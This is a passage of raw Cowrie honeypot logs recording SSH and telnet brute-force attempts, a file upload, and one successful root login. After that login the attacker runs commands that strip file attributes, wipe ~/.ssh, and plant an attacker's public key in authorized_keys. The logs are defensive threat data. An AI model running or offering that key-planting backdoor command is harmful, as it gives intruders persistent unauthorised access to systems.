57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:06.128662Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ACLS2H","message":"login attempt [admin/ACLS2H] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:06.602370Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"acidrain","message":"login attempt [admin/acidrain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:07.704530Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aarons","message":"login attempt [admin/aarons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:08.806842Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aaaaaa1","message":"login attempt [admin/Aaaaaa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:09.908486Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.186.148.49","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"20de49333d6b","protocol":"telnet","message":"New connection: 105.186.148.49:49432 (10.17.0.5:23) [session: 20de49333d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:10.998926Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a55555","message":"login attempt [admin/a55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:11.012374Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:12.114691Z","src_ip":"2.57.121.112","session":"c77dfc847af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":55488,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a9e06de45c5","protocol":"ssh","message":"New connection: 92.118.39.92:55488 (159.203.135.109:22) [session: 5a9e06de45c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:14.682973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:14.687976Z","src_ip":"92.118.39.92","session":"5a9e06de45c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:14.787771Z","src_ip":"92.118.39.92","session":"5a9e06de45c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:15.086113Z","src_ip":"92.118.39.92","session":"5a9e06de45c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:16.191603Z","src_ip":"92.118.39.92","session":"5a9e06de45c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.683989524841309,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:45:23.682826Z","src_ip":"105.186.148.49","session":"20de49333d6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53268,"dst_ip":"10.17.0.5","dst_port":22,"session":"9102ad4e290f","protocol":"ssh","message":"New connection: 195.178.110.218:53268 (10.17.0.5:22) [session: 9102ad4e290f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:01.372463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:01.376826Z","src_ip":"195.178.110.218","session":"9102ad4e290f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:01.451773Z","src_ip":"195.178.110.218","session":"9102ad4e290f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:01.684396Z","src_ip":"195.178.110.218","session":"9102ad4e290f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:02.762008Z","src_ip":"195.178.110.218","session":"9102ad4e290f","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/9cd71443cf6a3b601e0f9514ba1caa2f58a8fe7ea691d48f3813827525a5139b","shasum":"9cd71443cf6a3b601e0f9514ba1caa2f58a8fe7ea691d48f3813827525a5139b","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/9cd71443cf6a3b601e0f9514ba1caa2f58a8fe7ea691d48f3813827525a5139b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:22.101482Z","src_ip":"182.66.193.212","session":"cfb3d46dc28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.0","message":"Connection lost after 301.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:22.105399Z","src_ip":"182.66.193.212","session":"cfb3d46dc28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30458,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2967c46ba9c","protocol":"ssh","message":"New connection: 2.57.121.112:30458 (159.203.135.109:22) [session: c2967c46ba9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:32.244562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:32.248942Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:32.352658Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ACLS2H","message":"login attempt [admin/ACLS2H] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:32.842921Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"acidrain","message":"login attempt [admin/acidrain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:33.948562Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aarons","message":"login attempt [admin/aarons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:35.054490Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aaaaaa1","message":"login attempt [admin/Aaaaaa1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:36.160659Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a55555","message":"login attempt [admin/a55555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:37.266864Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:38.373247Z","src_ip":"2.57.121.112","session":"c2967c46ba9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":45276,"dst_ip":"159.203.135.109","dst_port":22,"session":"8945cfdb76fd","protocol":"ssh","message":"New connection: 171.237.176.209:45276 (159.203.135.109:22) [session: 8945cfdb76fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:54.331702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:54.336179Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:54.589400Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123321123","message":"login attempt [root/123321123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:55.635646Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.176945Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.179894Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.183046Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.438099Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.981080Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:56.984993Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:57.245332Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:57.249284Z","src_ip":"171.237.176.209","session":"8945cfdb76fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":55634,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ab4aacd8dfa","protocol":"ssh","message":"New connection: 171.237.176.209:55634 (159.203.135.109:22) [session: 2ab4aacd8dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:57.501468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:57.506249Z","src_ip":"171.237.176.209","session":"2ab4aacd8dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:57.766814Z","src_ip":"171.237.176.209","session":"2ab4aacd8dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:46:58.841731Z","src_ip":"171.237.176.209","session":"2ab4aacd8dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:00.105525Z","src_ip":"171.237.176.209","session":"2ab4aacd8dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"9428273dded2","protocol":"ssh","message":"New connection: 171.237.176.209:55640 (159.203.135.109:22) [session: 9428273dded2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:00.348912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:47:00.354557Z","src_ip":"171.237.176.209","session":"9428273dded2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 